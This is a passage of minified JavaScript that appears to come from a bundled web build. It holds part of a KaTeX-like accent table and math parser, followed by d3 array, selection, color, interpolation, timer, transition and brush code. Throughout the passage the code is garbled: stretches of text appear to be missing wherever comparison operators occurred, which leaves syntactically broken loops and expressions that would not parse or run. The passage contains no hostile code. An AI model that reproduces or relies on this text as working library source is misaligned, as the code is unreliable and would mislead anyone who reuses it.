0135":"j\u0302","\u1e31":"k\u0301","\u01e9":"k\u030c","\u0137":"k\u0327","\u013a":"l\u0301","\u013e":"l\u030c","\u013c":"l\u0327","\u1e3f":"m\u0301","\u1e41":"m\u0307","\u0144":"n\u0301","\u01f9":"n\u0300","\xf1":"n\u0303","\u0148":"n\u030c","\u1e45":"n\u0307","\u0146":"n\u0327","\xf3":"o\u0301","\xf2":"o\u0300","\xf6":"o\u0308","\u022b":"o\u0308\u0304","\xf5":"o\u0303","\u1e4d":"o\u0303\u0301","\u1e4f":"o\u0303\u0308","\u022d":"o\u0303\u0304","\u014d":"o\u0304","\u1e53":"o\u0304\u0301","\u1e51":"o\u0304\u0300","\u014f":"o\u0306","\u01d2":"o\u030c","\xf4":"o\u0302","\u1ed1":"o\u0302\u0301","\u1ed3":"o\u0302\u0300","\u1ed7":"o\u0302\u0303","\u022f":"o\u0307","\u0231":"o\u0307\u0304","\u0151":"o\u030b","\u1e55":"p\u0301","\u1e57":"p\u0307","\u0155":"r\u0301","\u0159":"r\u030c","\u1e59":"r\u0307","\u0157":"r\u0327","\u015b":"s\u0301","\u1e65":"s\u0301\u0307","\u0161":"s\u030c","\u1e67":"s\u030c\u0307","\u015d":"s\u0302","\u1e61":"s\u0307","\u015f":"s\u0327","\u1e97":"t\u0308","\u0165":"t\u030c","\u1e6b":"t\u0307","\u0163":"t\u0327","\xfa":"u\u0301","\xf9":"u\u0300","\xfc":"u\u0308","\u01d8":"u\u0308\u0301","\u01dc":"u\u0308\u0300","\u01d6":"u\u0308\u0304","\u01da":"u\u0308\u030c","\u0169":"u\u0303","\u1e79":"u\u0303\u0301","\u016b":"u\u0304","\u1e7b":"u\u0304\u0308","\u016d":"u\u0306","\u01d4":"u\u030c","\xfb":"u\u0302","\u016f":"u\u030a","\u0171":"u\u030b","\u1e7d":"v\u0303","\u1e83":"w\u0301","\u1e81":"w\u0300","\u1e85":"w\u0308","\u0175":"w\u0302","\u1e87":"w\u0307","\u1e98":"w\u030a","\u1e8d":"x\u0308","\u1e8b":"x\u0307","\xfd":"y\u0301","\u1ef3":"y\u0300","\xff":"y\u0308","\u1ef9":"y\u0303","\u0233":"y\u0304","\u0177":"y\u0302","\u1e8f":"y\u0307","\u1e99":"y\u030a","\u017a":"z\u0301","\u017e":"z\u030c","\u1e91":"z\u0302","\u017c":"z\u0307","\xc1":"A\u0301","\xc0":"A\u0300","\xc4":"A\u0308","\u01de":"A\u0308\u0304","\xc3":"A\u0303","\u0100":"A\u0304","\u0102":"A\u0306","\u1eae":"A\u0306\u0301","\u1eb0":"A\u0306\u0300","\u1eb4":"A\u0306\u0303","\u01cd":"A\u030c","\xc2":"A\u0302","\u1ea4":"A\u0302\u0301","\u1ea6":"A\u0302\u0300","\u1eaa":"A\u0302\u0303","\u0226":"A\u0307","\u01e0":"A\u0307\u0304","\xc5":"A\u030a","\u01fa":"A\u030a\u0301","\u1e02":"B\u0307","\u0106":"C\u0301","\u1e08":"C\u0327\u0301","\u010c":"C\u030c","\u0108":"C\u0302","\u010a":"C\u0307","\xc7":"C\u0327","\u010e":"D\u030c","\u1e0a":"D\u0307","\u1e10":"D\u0327","\xc9":"E\u0301","\xc8":"E\u0300","\xcb":"E\u0308","\u1ebc":"E\u0303","\u0112":"E\u0304","\u1e16":"E\u0304\u0301","\u1e14":"E\u0304\u0300","\u0114":"E\u0306","\u1e1c":"E\u0327\u0306","\u011a":"E\u030c","\xca":"E\u0302","\u1ebe":"E\u0302\u0301","\u1ec0":"E\u0302\u0300","\u1ec4":"E\u0302\u0303","\u0116":"E\u0307","\u0228":"E\u0327","\u1e1e":"F\u0307","\u01f4":"G\u0301","\u1e20":"G\u0304","\u011e":"G\u0306","\u01e6":"G\u030c","\u011c":"G\u0302","\u0120":"G\u0307","\u0122":"G\u0327","\u1e26":"H\u0308","\u021e":"H\u030c","\u0124":"H\u0302","\u1e22":"H\u0307","\u1e28":"H\u0327","\xcd":"I\u0301","\xcc":"I\u0300","\xcf":"I\u0308","\u1e2e":"I\u0308\u0301","\u0128":"I\u0303","\u012a":"I\u0304","\u012c":"I\u0306","\u01cf":"I\u030c","\xce":"I\u0302","\u0130":"I\u0307","\u0134":"J\u0302","\u1e30":"K\u0301","\u01e8":"K\u030c","\u0136":"K\u0327","\u0139":"L\u0301","\u013d":"L\u030c","\u013b":"L\u0327","\u1e3e":"M\u0301","\u1e40":"M\u0307","\u0143":"N\u0301","\u01f8":"N\u0300","\xd1":"N\u0303","\u0147":"N\u030c","\u1e44":"N\u0307","\u0145":"N\u0327","\xd3":"O\u0301","\xd2":"O\u0300","\xd6":"O\u0308","\u022a":"O\u0308\u0304","\xd5":"O\u0303","\u1e4c":"O\u0303\u0301","\u1e4e":"O\u0303\u0308","\u022c":"O\u0303\u0304","\u014c":"O\u0304","\u1e52":"O\u0304\u0301","\u1e50":"O\u0304\u0300","\u014e":"O\u0306","\u01d1":"O\u030c","\xd4":"O\u0302","\u1ed0":"O\u0302\u0301","\u1ed2":"O\u0302\u0300","\u1ed6":"O\u0302\u0303","\u022e":"O\u0307","\u0230":"O\u0307\u0304","\u0150":"O\u030b","\u1e54":"P\u0301","\u1e56":"P\u0307","\u0154":"R\u0301","\u0158":"R\u030c","\u1e58":"R\u0307","\u0156":"R\u0327","\u015a":"S\u0301","\u1e64":"S\u0301\u0307","\u0160":"S\u030c","\u1e66":"S\u030c\u0307","\u015c":"S\u0302","\u1e60":"S\u0307","\u015e":"S\u0327","\u0164":"T\u030c","\u1e6a":"T\u0307","\u0162":"T\u0327","\xda":"U\u0301","\xd9":"U\u0300","\xdc":"U\u0308","\u01d7":"U\u0308\u0301","\u01db":"U\u0308\u0300","\u01d5":"U\u0308\u0304","\u01d9":"U\u0308\u030c","\u0168":"U\u0303","\u1e78":"U\u0303\u0301","\u016a":"U\u0304","\u1e7a":"U\u0304\u0308","\u016c":"U\u0306","\u01d3":"U\u030c","\xdb":"U\u0302","\u016e":"U\u030a","\u0170":"U\u030b","\u1e7c":"V\u0303","\u1e82":"W\u0301","\u1e80":"W\u0300","\u1e84":"W\u0308","\u0174":"W\u0302","\u1e86":"W\u0307","\u1e8c":"X\u0308","\u1e8a":"X\u0307","\xdd":"Y\u0301","\u1ef2":"Y\u0300","\u0178":"Y\u0308","\u1ef8":"Y\u0303","\u0232":"Y\u0304","\u0176":"Y\u0302","\u1e8e":"Y\u0307","\u0179":"Z\u0301","\u017d":"Z\u030c","\u1e90":"Z\u0302","\u017b":"Z\u0307","\u03ac":"\u03b1\u0301","\u1f70":"\u03b1\u0300","\u1fb1":"\u03b1\u0304","\u1fb0":"\u03b1\u0306","\u03ad":"\u03b5\u0301","\u1f72":"\u03b5\u0300","\u03ae":"\u03b7\u0301","\u1f74":"\u03b7\u0300","\u03af":"\u03b9\u0301","\u1f76":"\u03b9\u0300","\u03ca":"\u03b9\u0308","\u0390":"\u03b9\u0308\u0301","\u1fd2":"\u03b9\u0308\u0300","\u1fd1":"\u03b9\u0304","\u1fd0":"\u03b9\u0306","\u03cc":"\u03bf\u0301","\u1f78":"\u03bf\u0300","\u03cd":"\u03c5\u0301","\u1f7a":"\u03c5\u0300","\u03cb":"\u03c5\u0308","\u03b0":"\u03c5\u0308\u0301","\u1fe2":"\u03c5\u0308\u0300","\u1fe1":"\u03c5\u0304","\u1fe0":"\u03c5\u0306","\u03ce":"\u03c9\u0301","\u1f7c":"\u03c9\u0300","\u038e":"\u03a5\u0301","\u1fea":"\u03a5\u0300","\u03ab":"\u03a5\u0308","\u1fe9":"\u03a5\u0304","\u1fe8":"\u03a5\u0306","\u038f":"\u03a9\u0301","\u1ffa":"\u03a9\u0300"},Wn=function(){function e(e,t){this.mode=void 0,this.gullet=void 0,this.settings=void 0,this.leftrightDepth=void 0,this.nextToken=void 0,this.mode="math",this.gullet=new Gn(e,t,this.mode),this.settings=t,this.leftrightDepth=0}var t=e.prototype;return t.expect=function(e,t){if(void 0===t&&(t=!0),this.fetch().text!==e)throw new n("Expected '"+e+"', got '"+this.fetch().text+"'",this.fetch());t&&this.consume()},t.consume=function(){this.nextToken=null},t.fetch=function(){return null==this.nextToken&&(this.nextToken=this.gullet.expandNextToken()),this.nextToken},t.switchMode=function(e){this.mode=e,this.gullet.switchMode(e)},t.parse=function(){this.settings.globalGroup||this.gullet.beginGroup(),this.settings.colorIsTextColor&&this.gullet.macros.set("\\color","\\textcolor");try{var e=this.parseExpression(!1);return this.expect("EOF"),this.settings.globalGroup||this.gullet.endGroup(),e}finally{this.gullet.endGroups()}},t.parseExpression=function(t,r){for(var n=[];;){"math"===this.mode&&this.consumeSpaces();var a=this.fetch();if(-1!==e.endOfExpression.indexOf(a.text))break;if(r&&a.text===r)break;if(t&&Nn[a.text]&&Nn[a.text].infix)break;var i=this.parseAtom(r);if(!i)break;"internal"!==i.type&&n.push(i)}return"text"===this.mode&&this.formLigatures(n),this.handleInfixNodes(n)},t.handleInfixNodes=function(e){for(var t,r=-1,a=0;a=0&&this.settings.reportNonstrict("unicodeTextInMathMode",'Latin-1/Unicode text character "'+t[0]+'" used in math mode',e);var s,l=X[this.mode][t].group,h=qn.range(e);if(U.hasOwnProperty(l)){var m=l;s={type:"atom",mode:this.mode,family:m,loc:h,text:t}}else s={type:l,mode:this.mode,loc:h,text:t};i=s}else{if(!(t.charCodeAt(0)>=128))return null;this.settings.strict&&(w(t.charCodeAt(0))?"math"===this.mode&&this.settings.reportNonstrict("unicodeTextInMathMode",'Unicode text character "'+t[0]+'" used in math mode',e):this.settings.reportNonstrict("unknownSymbol",'Unrecognized Unicode character "'+t[0]+'" ('+t.charCodeAt(0)+")",e)),i={type:"textord",mode:"text",loc:qn.range(e),text:t}}if(this.consume(),o)for(var c=0;ce?1:t>=e?0:NaN},a=function(t){var e;return 1===t.length&&(e=t,t=function(t,n){return i(e(t),n)}),{left:function(e,n,r,i){for(null==r&&(r=0),null==i&&(i=e.length);r>>1;t(e[a],n)<0?r=a+1:i=a}return r},right:function(e,n,r,i){for(null==r&&(r=0),null==i&&(i=e.length);r>>1;t(e[a],n)>0?i=a:r=a+1}return r}}};var o=a(i),s=o.right,c=o.left,u=s,l=function(t,e){null==e&&(e=h);for(var n=0,r=t.length-1,i=t[0],a=new Array(r<0?0:r);nt?1:e>=t?0:NaN},p=function(t){return null===t?NaN:+t},y=function(t,e){var n,r,i=t.length,a=0,o=-1,s=0,c=0;if(null==e)for(;++o1)return c/(a-1)},g=function(t,e){var n=y(t,e);return n?Math.sqrt(n):n},m=function(t,e){var n,r,i,a=t.length,o=-1;if(null==e){for(;++o=n)for(r=i=n;++on&&(r=n),i=n)for(r=i=n;++on&&(r=n),i0)return[t];if((r=e0)for(t=Math.ceil(t/o),e=Math.floor(e/o),a=new Array(i=Math.ceil(e-t+1));++s=0?(a>=T?10:a>=E?5:a>=C?2:1)*Math.pow(10,i):-Math.pow(10,-i)/(a>=T?10:a>=E?5:a>=C?2:1)}function M(t,e,n){var r=Math.abs(e-t)/Math.max(0,n),i=Math.pow(10,Math.floor(Math.log(r)/Math.LN10)),a=r/i;return a>=T?i*=10:a>=E?i*=5:a>=C&&(i*=2),eh;)f.pop(),--d;var p,y=new Array(d+1);for(i=0;i<=d;++i)(p=y[i]=[]).x0=i>0?f[i-1]:l,p.x1=i=1)return+n(t[r-1],r-1,t);var r,i=(r-1)*e,a=Math.floor(i),o=+n(t[a],a,t);return o+(+n(t[a+1],a+1,t)-o)*(i-a)}},D=function(t,e,n){return t=x.call(t,p).sort(i),Math.ceil((n-e)/(2*(B(t,.75)-B(t,.25))*Math.pow(t.length,-1/3)))},L=function(t,e,n){return Math.ceil((n-e)/(3.5*g(t)*Math.pow(t.length,-1/3)))},I=function(t,e){var n,r,i=t.length,a=-1;if(null==e){for(;++a=n)for(r=n;++ar&&(r=n)}else for(;++a=n)for(r=n;++ar&&(r=n);return r},R=function(t,e){var n,r=t.length,i=r,a=-1,o=0;if(null==e)for(;++a=0;)for(e=(r=t[i]).length;--e>=0;)n[--o]=r[e];return n},j=function(t,e){var n,r,i=t.length,a=-1;if(null==e){for(;++a=n)for(r=n;++an&&(r=n)}else for(;++a=n)for(r=n;++an&&(r=n);return r},Y=function(t,e){for(var n=e.length,r=new Array(n);n--;)r[n]=t[e[n]];return r},z=function(t,e){if(n=t.length){var n,r,a=0,o=0,s=t[o];for(null==e&&(e=i);++a=0&&(n=t.slice(r+1),t=t.slice(0,r)),t&&!e.hasOwnProperty(t))throw new Error("unknown type: "+t);return{type:t,name:n}}))}function ut(t,e){for(var n,r=0,i=t.length;r0)for(var n,r,i=new Array(n),a=0;ae?1:t>=e?0:NaN}var kt="http://www.w3.org/1999/xhtml",wt={svg:"http://www.w3.org/2000/svg",xhtml:kt,xlink:"http://www.w3.org/1999/xlink",xml:"http://www.w3.org/XML/1998/namespace",xmlns:"http://www.w3.org/2000/xmlns/"},Tt=function(t){var e=t+="",n=e.indexOf(":");return n>=0&&"xmlns"!==(e=t.slice(0,n))&&(t=t.slice(n+1)),wt.hasOwnProperty(e)?{space:wt[e],local:t}:t};function Et(t){return function(){this.removeAttribute(t)}}function Ct(t){return function(){this.removeAttributeNS(t.space,t.local)}}function St(t,e){return function(){this.setAttribute(t,e)}}function At(t,e){return function(){this.setAttributeNS(t.space,t.local,e)}}function Mt(t,e){return function(){var n=e.apply(this,arguments);null==n?this.removeAttribute(t):this.setAttribute(t,n)}}function Ot(t,e){return function(){var n=e.apply(this,arguments);null==n?this.removeAttributeNS(t.space,t.local):this.setAttributeNS(t.space,t.local,n)}}var Nt=function(t){return t.ownerDocument&&t.ownerDocument.defaultView||t.document&&t||t.defaultView};function Bt(t){return function(){this.style.removeProperty(t)}}function Dt(t,e,n){return function(){this.style.setProperty(t,e,n)}}function Lt(t,e,n){return function(){var r=e.apply(this,arguments);null==r?this.style.removeProperty(t):this.style.setProperty(t,r,n)}}function It(t,e){return t.style.getPropertyValue(e)||Nt(t).getComputedStyle(t,null).getPropertyValue(e)}function Rt(t){return function(){delete this[t]}}function Ft(t,e){return function(){this[t]=e}}function Pt(t,e){return function(){var n=e.apply(this,arguments);null==n?delete this[t]:this[t]=n}}function jt(t){return t.trim().split(/^|\s+/)}function Yt(t){return t.classList||new zt(t)}function zt(t){this._node=t,this._names=jt(t.getAttribute("class")||"")}function Ut(t,e){for(var n=Yt(t),r=-1,i=e.length;++r=0&&(this._names.splice(e,1),this._node.setAttribute("class",this._names.join(" ")))},contains:function(t){return this._names.indexOf(t)>=0}};function Vt(){this.textContent=""}function Gt(t){return function(){this.textContent=t}}function Xt(t){return function(){var e=t.apply(this,arguments);this.textContent=null==e?"":e}}function Zt(){this.innerHTML=""}function Kt(t){return function(){this.innerHTML=t}}function Qt(t){return function(){var e=t.apply(this,arguments);this.innerHTML=null==e?"":e}}function Jt(){this.nextSibling&&this.parentNode.appendChild(this)}function te(){this.previousSibling&&this.parentNode.insertBefore(this,this.parentNode.firstChild)}function ee(t){return function(){var e=this.ownerDocument,n=this.namespaceURI;return n===kt&&e.documentElement.namespaceURI===kt?e.createElement(t):e.createElementNS(n,t)}}function ne(t){return function(){return this.ownerDocument.createElementNS(t.space,t.local)}}var re=function(t){var e=Tt(t);return(e.local?ne:ee)(e)};function ie(){return null}function ae(){var t=this.parentNode;t&&t.removeChild(this)}function oe(){var t=this.cloneNode(!1),e=this.parentNode;return e?e.insertBefore(t,this.nextSibling):t}function se(){var t=this.cloneNode(!0),e=this.parentNode;return e?e.insertBefore(t,this.nextSibling):t}var ce={},ue=null;"undefined"!=typeof document&&("onmouseenter"in document.documentElement||(ce={mouseenter:"mouseover",mouseleave:"mouseout"}));function le(t,e,n){return t=he(t,e,n),function(e){var n=e.relatedTarget;n&&(n===this||8&n.compareDocumentPosition(this))||t.call(this,e)}}function he(t,e,n){return function(r){var i=ue;ue=r;try{t.call(this,this.__data__,e,n)}finally{ue=i}}}function fe(t){return t.trim().split(/^|\s+/).map((function(t){var e="",n=t.indexOf(".");return n>=0&&(e=t.slice(n+1),t=t.slice(0,n)),{type:t,name:e}}))}function de(t){return function(){var e=this.__on;if(e){for(var n,r=0,i=-1,a=e.length;r=_&&(_=x+1);!(b=m[_])&&++_=0;)(r=i[a])&&(o&&4^r.compareDocumentPosition(o)&&o.parentNode.insertBefore(r,o),o=r);return this},sort:function(t){function e(e,n){return e&&n?t(e.__data__,n.__data__):!e-!n}t||(t=_t);for(var n=this._groups,r=n.length,i=new Array(r),a=0;a1?this.each((null==e?Bt:"function"==typeof e?Lt:Dt)(t,e,null==n?"":n)):It(this.node(),t)},property:function(t,e){return arguments.length>1?this.each((null==e?Rt:"function"==typeof e?Pt:Ft)(t,e)):this.node()[t]},classed:function(t,e){var n=jt(t+"");if(arguments.length<2){for(var r=Yt(this.node()),i=-1,a=n.length;++i>8&15|e>>4&240,e>>4&15|240&e,(15&e)<<4|15&e,1):8===n?He(e>>24&255,e>>16&255,e>>8&255,(255&e)/255):4===n?He(e>>12&15|e>>8&240,e>>8&15|e>>4&240,e>>4&15|240&e,((15&e)<<4|15&e)/255):null):(e=Ie.exec(t))?new Xe(e[1],e[2],e[3],1):(e=Re.exec(t))?new Xe(255*e[1]/100,255*e[2]/100,255*e[3]/100,1):(e=Fe.exec(t))?He(e[1],e[2],e[3],e[4]):(e=Pe.exec(t))?He(255*e[1]/100,255*e[2]/100,255*e[3]/100,e[4]):(e=je.exec(t))?Je(e[1],e[2]/100,e[3]/100,1):(e=Ye.exec(t))?Je(e[1],e[2]/100,e[3]/100,e[4]):ze.hasOwnProperty(t)?We(ze[t]):"transparent"===t?new Xe(NaN,NaN,NaN,0):null}function We(t){return new Xe(t>>16&255,t>>8&255,255&t,1)}function He(t,e,n,r){return r<=0&&(t=e=n=NaN),new Xe(t,e,n,r)}function Ve(t){return t instanceof Oe||(t=qe(t)),t?new Xe((t=t.rgb()).r,t.g,t.b,t.opacity):new Xe}function Ge(t,e,n,r){return 1===arguments.length?Ve(t):new Xe(t,e,n,null==r?1:r)}function Xe(t,e,n,r){this.r=+t,this.g=+e,this.b=+n,this.opacity=+r}function Ze(){return"#"+Qe(this.r)+Qe(this.g)+Qe(this.b)}function Ke(){var t=this.opacity;return(1===(t=isNaN(t)?1:Math.max(0,Math.min(1,t)))?"rgb(":"rgba(")+Math.max(0,Math.min(255,Math.round(this.r)||0))+", "+Math.max(0,Math.min(255,Math.round(this.g)||0))+", "+Math.max(0,Math.min(255,Math.round(this.b)||0))+(1===t?")":", "+t+")")}function Qe(t){return((t=Math.max(0,Math.min(255,Math.round(t)||0)))<16?"0":"")+t.toString(16)}function Je(t,e,n,r){return r<=0?t=e=n=NaN:n<=0||n>=1?t=e=NaN:e<=0&&(t=NaN),new nn(t,e,n,r)}function tn(t){if(t instanceof nn)return new nn(t.h,t.s,t.l,t.opacity);if(t instanceof Oe||(t=qe(t)),!t)return new nn;if(t instanceof nn)return t;var e=(t=t.rgb()).r/255,n=t.g/255,r=t.b/255,i=Math.min(e,n,r),a=Math.max(e,n,r),o=NaN,s=a-i,c=(a+i)/2;return s?(o=e===a?(n-r)/s+6*(n0&&c<1?0:o,new nn(o,s,c,t.opacity)}function en(t,e,n,r){return 1===arguments.length?tn(t):new nn(t,e,n,null==r?1:r)}function nn(t,e,n,r){this.h=+t,this.s=+e,this.l=+n,this.opacity=+r}function rn(t,e,n){return 255*(t<60?e+(n-e)*t/60:t<180?n:t<240?e+(n-e)*(240-t)/60:e)}function an(t,e,n,r,i){var a=t*t,o=a*t;return((1-3*t+3*a-o)*e+(4-6*a+3*o)*n+(1+3*t+3*a-3*o)*r+o*i)/6}Ae(Oe,qe,{copy:function(t){return Object.assign(new this.constructor,this,t)},displayable:function(){return this.rgb().displayable()},hex:Ue,formatHex:Ue,formatHsl:function(){return tn(this).formatHsl()},formatRgb:$e,toString:$e}),Ae(Xe,Ge,Me(Oe,{brighter:function(t){return t=null==t?1/.7:Math.pow(1/.7,t),new Xe(this.r*t,this.g*t,this.b*t,this.opacity)},darker:function(t){return t=null==t?.7:Math.pow(.7,t),new Xe(this.r*t,this.g*t,this.b*t,this.opacity)},rgb:function(){return this},displayable:function(){return-.5<=this.r&&this.r<255.5&&-.5<=this.g&&this.g<255.5&&-.5<=this.b&&this.b<255.5&&0<=this.opacity&&this.opacity<=1},hex:Ze,formatHex:Ze,formatRgb:Ke,toString:Ke})),Ae(nn,en,Me(Oe,{brighter:function(t){return t=null==t?1/.7:Math.pow(1/.7,t),new nn(this.h,this.s,this.l*t,this.opacity)},darker:function(t){return t=null==t?.7:Math.pow(.7,t),new nn(this.h,this.s,this.l*t,this.opacity)},rgb:function(){var t=this.h%360+360*(this.h<0),e=isNaN(t)||isNaN(this.s)?0:this.s,n=this.l,r=n+(n<.5?n:1-n)*e,i=2*n-r;return new Xe(rn(t>=240?t-240:t+120,i,r),rn(t,i,r),rn(t<120?t+240:t-120,i,r),this.opacity)},displayable:function(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1},formatHsl:function(){var t=this.opacity;return(1===(t=isNaN(t)?1:Math.max(0,Math.min(1,t)))?"hsl(":"hsla(")+(this.h||0)+", "+100*(this.s||0)+"%, "+100*(this.l||0)+"%"+(1===t?")":", "+t+")")}}));var on=function(t){var e=t.length-1;return function(n){var r=n<=0?n=0:n>=1?(n=1,e-1):Math.floor(n*e),i=t[r],a=t[r+1],o=r>0?t[r-1]:2*i-a,s=r180||n<-180?n-360*Math.round(n/360):n):cn(isNaN(t)?e:t)}function hn(t){return 1==(t=+t)?fn:function(e,n){return n-e?function(t,e,n){return t=Math.pow(t,n),e=Math.pow(e,n)-t,n=1/n,function(r){return Math.pow(t+r*e,n)}}(e,n,t):cn(isNaN(e)?n:e)}}function fn(t,e){var n=e-t;return n?un(t,n):cn(isNaN(t)?e:t)}var dn=function t(e){var n=hn(e);function r(t,e){var r=n((t=Ge(t)).r,(e=Ge(e)).r),i=n(t.g,e.g),a=n(t.b,e.b),o=fn(t.opacity,e.opacity);return function(e){return t.r=r(e),t.g=i(e),t.b=a(e),t.opacity=o(e),t+""}}return r.gamma=t,r}(1);function pn(t){return function(e){var n,r,i=e.length,a=new Array(i),o=new Array(i),s=new Array(i);for(n=0;na&&(i=e.slice(a,i),s[o]?s[o]+=i:s[++o]=i),(n=n[0])===(r=r[0])?s[o]?s[o]+=r:s[++o]=r:(s[++o]=null,c.push({i:o,x:kn(n,r)})),a=En.lastIndex;return a=0&&e._call.call(null,t),e=e._next;--Ln}function Vn(){Pn=(Fn=Yn.now())+jn,Ln=In=0;try{Hn()}finally{Ln=0,function(){var t,e,n=Cn,r=1/0;for(;n;)n._call?(r>n._time&&(r=n._time),t=n,n=n._next):(e=n._next,n._next=null,n=t?t._next=e:Cn=e);Sn=t,Xn(r)}(),Pn=0}}function Gn(){var t=Yn.now(),e=t-Fn;e>1e3&&(jn-=e,Fn=t)}function Xn(t){Ln||(In&&(In=clearTimeout(In)),t-Pn>24?(t<1/0&&(In=setTimeout(Vn,t-Yn.now()-jn)),Rn&&(Rn=clearInterval(Rn))):(Rn||(Fn=Yn.now(),Rn=setInterval(Gn,1e3)),Ln=1,zn(Vn)))}qn.prototype=Wn.prototype={constructor:qn,restart:function(t,e,n){if("function"!=typeof t)throw new TypeError("callback is not a function");n=(null==n?Un():+n)+(null==e?0:+e),this._next||Sn===this||(Sn?Sn._next=this:Cn=this,Sn=this),this._call=t,this._time=n,Xn()},stop:function(){this._call&&(this._call=null,this._time=1/0,Xn())}};var Zn=function(t,e,n){var r=new qn;return e=null==e?0:+e,r.restart((function(n){r.stop(),t(n+e)}),e,n),r},Kn=ht("start","end","cancel","interrupt"),Qn=[],Jn=function(t,e,n,r,i,a){var o=t.__transition;if(o){if(n in o)return}else t.__transition={};!function(t,e,n){var r,i=t.__transition;function a(c){var u,l,h,f;if(1!==n.state)return s();for(u in i)if((f=i[u]).name===n.name){if(3===f.state)return Zn(a);4===f.state?(f.state=6,f.timer.stop(),f.on.call("interrupt",t,t.__data__,f.index,f.group),delete i[u]):+u0)throw new Error("too late; already scheduled");return n}function er(t,e){var n=nr(t,e);if(n.state>3)throw new Error("too late; already running");return n}function nr(t,e){var n=t.__transition;if(!n||!(n=n[e]))throw new Error("transition not found");return n}var rr,ir,ar,or,sr=function(t,e){var n,r,i,a=t.__transition,o=!0;if(a){for(i in e=null==e?null:e+"",a)(n=a[i]).name===e?(r=n.state>2&&n.state<5,n.state=6,n.timer.stop(),n.on.call(r?"interrupt":"cancel",t,t.__data__,n.index,n.group),delete a[i]):o=!1;o&&delete t.__transition}},cr=180/Math.PI,ur={translateX:0,translateY:0,rotate:0,skewX:0,scaleX:1,scaleY:1},lr=function(t,e,n,r,i,a){var o,s,c;return(o=Math.sqrt(t*t+e*e))&&(t/=o,e/=o),(c=t*n+e*r)&&(n-=t*c,r-=e*c),(s=Math.sqrt(n*n+r*r))&&(n/=s,r/=s,c/=s),t*r180?e+=360:e-t>180&&(t+=360),a.push({i:n.push(i(n)+"rotate(",null,r)-2,x:kn(t,e)})):e&&n.push(i(n)+"rotate("+e+r)}(a.rotate,o.rotate,s,c),function(t,e,n,a){t!==e?a.push({i:n.push(i(n)+"skewX(",null,r)-2,x:kn(t,e)}):e&&n.push(i(n)+"skewX("+e+r)}(a.skewX,o.skewX,s,c),function(t,e,n,r,a,o){if(t!==n||e!==r){var s=a.push(i(a)+"scale(",null,",",null,")");o.push({i:s-4,x:kn(t,n)},{i:s-2,x:kn(e,r)})}else 1===n&&1===r||a.push(i(a)+"scale("+n+","+r+")")}(a.scaleX,a.scaleY,o.scaleX,o.scaleY,s,c),a=o=null,function(t){for(var e,n=-1,r=c.length;++n=0&&(t=t.slice(0,e)),!t||"start"===t}))}(e)?tr:er;return function(){var o=a(this,t),s=o.on;s!==r&&(i=(r=s).copy()).on(e,n),o.on=i}}var Lr=ke.prototype.constructor;function Ir(t){return function(){this.style.removeProperty(t)}}function Rr(t,e,n){return function(r){this.style.setProperty(t,e.call(this,r),n)}}function Fr(t,e,n){var r,i;function a(){var a=e.apply(this,arguments);return a!==i&&(r=(i=a)&&Rr(t,a,n)),r}return a._value=e,a}function Pr(t){return function(e){this.textContent=t.call(this,e)}}function jr(t){var e,n;function r(){var r=t.apply(this,arguments);return r!==n&&(e=(n=r)&&Pr(r)),e}return r._value=t,r}var Yr=0;function zr(t,e,n,r){this._groups=t,this._parents=e,this._name=n,this._id=r}function Ur(t){return ke().transition(t)}function $r(){return++Yr}var qr=ke.prototype;function Wr(t){return t*t*t}function Hr(t){return--t*t*t+1}function Vr(t){return((t*=2)<=1?t*t*t:(t-=2)*t*t+2)/2}zr.prototype=Ur.prototype={constructor:zr,select:function(t){var e=this._name,n=this._id;"function"!=typeof t&&(t=dt(t));for(var r=this._groups,i=r.length,a=new Array(i),o=0;o1&&n.name===e)return new zr([[t]],Zr,e,+r);return null},Qr=function(t){return function(){return t}},Jr=function(t,e,n){this.target=t,this.type=e,this.selection=n};function ti(){ue.stopImmediatePropagation()}var ei=function(){ue.preventDefault(),ue.stopImmediatePropagation()},ni={name:"drag"},ri={name:"space"},ii={name:"handle"},ai={name:"center"};function oi(t){return[+t[0],+t[1]]}function si(t){return[oi(t[0]),oi(t[1])]}function ci(t){return function(e){return Bn(e,ue.touches,t)}}var ui={name:"x",handles:["w","e"].map(mi),input:function(t,e){return null==t?null:[[+t[0],e[0][1]],[+t[1],e[1][1]]]},output:function(t){return t&&[t[0][0],t[1][0]]}},li={name:"y",handles:["n","s"].map(mi),input:function(t,e){return null==t?null:[[e[0][0],+t[0]],[e[1][0],+t[1]]]},output:function(t){return t&&[t[0][1],t[1][1]]}},hi={name:"xy",handles:["n","w","e","s","nw","ne","sw","se"].map(mi),input:function(t){return null==t?null:si(t)},output:function(t){return t}},fi={overlay:"crosshair",selection:"move",n:"ns-resize",e:"ew-resize",s:"ns-resize",w:"ew-resize",nw:"nwse-resize",ne:"nesw-resize",se:"nwse-resize",sw:"nesw-resize"},di={e:"w",w:"e",nw:"ne",ne:"nw",se:"sw",sw:"se"},pi={n:"s",s:"n",nw:"sw",ne:"se",se:"ne",sw:"nw"},yi={overlay:1,selection:1,n:null,e:1,s:null,w:-1,nw:-1,ne:1,se:1,sw:-1},gi={overlay:1,selection:1,n:-1,e:null,s:1,w:null,nw:-1,ne:-1,se:1,sw:1};function mi(t){return{type:t}}function vi(){return!ue.ctrlKey&&!ue.button}function bi(){var t=this.ownerSVGElement||this;return t.hasAttribute("viewBox")?[[(t=t.viewBox.baseVal).x,t.y],[t.x+t.width,t.y+t.height]]:[[0,0],[t.width.baseVal.value,t.height.baseVal.value]]}function xi(){return navigator.maxTouchPoints||"ontouchstart"in this}function _i(t){for(;!t.__brush;)if(!(t=t.parentNode))return;return t.__brush}function ki(t){return t[0][0]===t[1][0]||t[0][1]===t[1][1]}function wi(t){var e=t.__brush;return e?e.dim.output(e.selection):null}function Ti(){return Si(ui)}function Ei(){return Si(li)}var Ci=function(){return Si(hi)};function Si(t){var e,n=bi,r=vi,i=xi,a=!0,o=ht("start","brush","end"),s=6;function c(e){var n=e.property("__brush",y).selectAll(".overlay").data([mi("overlay")]);n.enter().append("rect").attr("class","overlay").attr("pointer-events","all").attr("cursor",fi.overlay).merge(n).each((function(){var t=_i(this).extent;we(this).attr("x",t[0][0]).attr("y",t[0][1]).attr("width",t[1][0]-t[0][0]).attr("height",t[1][1]-t[0][1])})),e.selectAll(".selection").data([mi("selection")]).enter().append("rect").attr("class","selection").attr("cursor",fi.selection).attr("fill","#777").attr("fill-opacity",.3).attr("stroke","#fff").attr("shape-rendering","crispEdges");var r=e.selectAll(".handle").data(t.handles,(function(t){return 